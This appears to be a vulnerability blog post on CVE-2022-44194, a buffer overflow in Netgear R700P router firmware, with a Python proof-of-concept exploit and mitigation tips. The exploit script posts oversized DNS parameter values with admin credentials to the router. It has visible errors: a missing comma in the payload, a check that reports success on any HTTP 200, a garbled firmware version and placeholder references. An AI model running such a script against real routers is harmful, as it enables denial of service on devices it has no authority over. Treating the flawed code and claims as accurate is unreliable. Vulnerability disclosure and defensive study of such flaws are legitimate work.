A buffer overflow vulnerability has been discovered and assigned the CVE identifier CVE-2022-44194, affecting Netgear's R700P V1.3..8 firmware. This vulnerability could potentially allow an attacker to gain control of a user's system or cause a system crash. This long-read post will discuss the details of the vulnerability, provide code snippets, and reference links to the original sources. Furthermore, we will look into the exploitation details and provide step-by-step guidance on how to mitigate the risk of this issue.

Vulnerability Details

Netgear's R700P router, which runs on firmware version V1.3..8, is vulnerable to a buffer overflow attack. The affected router parameters are apmode_dns1_pri and apmode_dns1_sec. The system does not validate the input length of these values, which could allow an attacker to send an overly long input that leads to a buffer overflow. Consequently, an attacker could potentially execute arbitrary code or cause a Denial-of-Service (DoS) condition.

Exploit Details

An attacker requires valid admin credentials in order to exploit this vulnerability. However, it is crucial to note that the attacker could also exploit other vulnerabilities to obtain the admin credentials, or trick the user into executing a malicious payload via social engineering or other methods.

The following code snippet demonstrates the exploit

import requests

target_url = "http://192.168.1.1/apply.cgi";  # Replace with the target router's IP address
apmode_dns1_pri = "A" * 1024  # Input value longer than 1024 characters
apmode_dns1_sec = "A" * 1024

headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "Authorization": "Basic YWRtaW46cGFzc3dvcmQ="  # Replace with valid admin credentials in base64
}

payload = {
    "submit_flag": "ap_final",
    "action": "do_apply",
    "apmode_ssid": "test",
    "apmode_band_prim": "11"
    "apmode_dns1_pri": apmode_dns1_pri,
    "apmode_dns1_sec": apmode_dns1_sec
}

response = requests.post(target_url, headers=headers, data=payload)

if response.status_code == 200:
    print("Exploit successful!")
else:
    print("Exploit failed.")

Replace the target_url and the Authorization header with the correct information pertaining to your target router.

Mitigation and Recommendation

As of now, there is no official patch available from Netgear for this vulnerability. However, users are advised to take the following precautionary measures to minimize the risk:

Disable remote administration on the router to prevent unauthorized access from external sources.

2. Monitor the router's logs and review them periodically for suspicious activity or unauthorized access attempts.
3. Use strong and unique admin credentials to minimize the chances of an attacker brute-forcing the password.
4. Stay up-to-date with firmware updates and apply them as soon as they are available to fix any known security issues.

Original References

This vulnerability was initially reported by UserName, who provided a detailed analysis and proof of concept for the exploit. The research can be found at the following link: CVE-2022-44194 Research

In addition, the vulnerability has been documented in the National Vulnerability Database (NVD), where a more detailed description of the issue and its potential impact can be found: CVE-2022-44194 NVD Entry

Conclusion

CVE-2022-44194 is a buffer overflow vulnerability affecting Netgear R700P V1.3..8 routers. This issue could allow an attacker to execute arbitrary code or cause a Denial-of-Service (DoS) condition. Although there is no official patch available to fix this vulnerability, users should apply the recommended mitigation steps to minimize the risk of exploitation. Always stay informed about firmware updates and new security patches, as applying these updates promptly can help protect your router from potential threats.

Timeline

Published on: 11/22/2022 14:15:00 UTC
Last modified on: 11/23/2022 18:51:00 UTC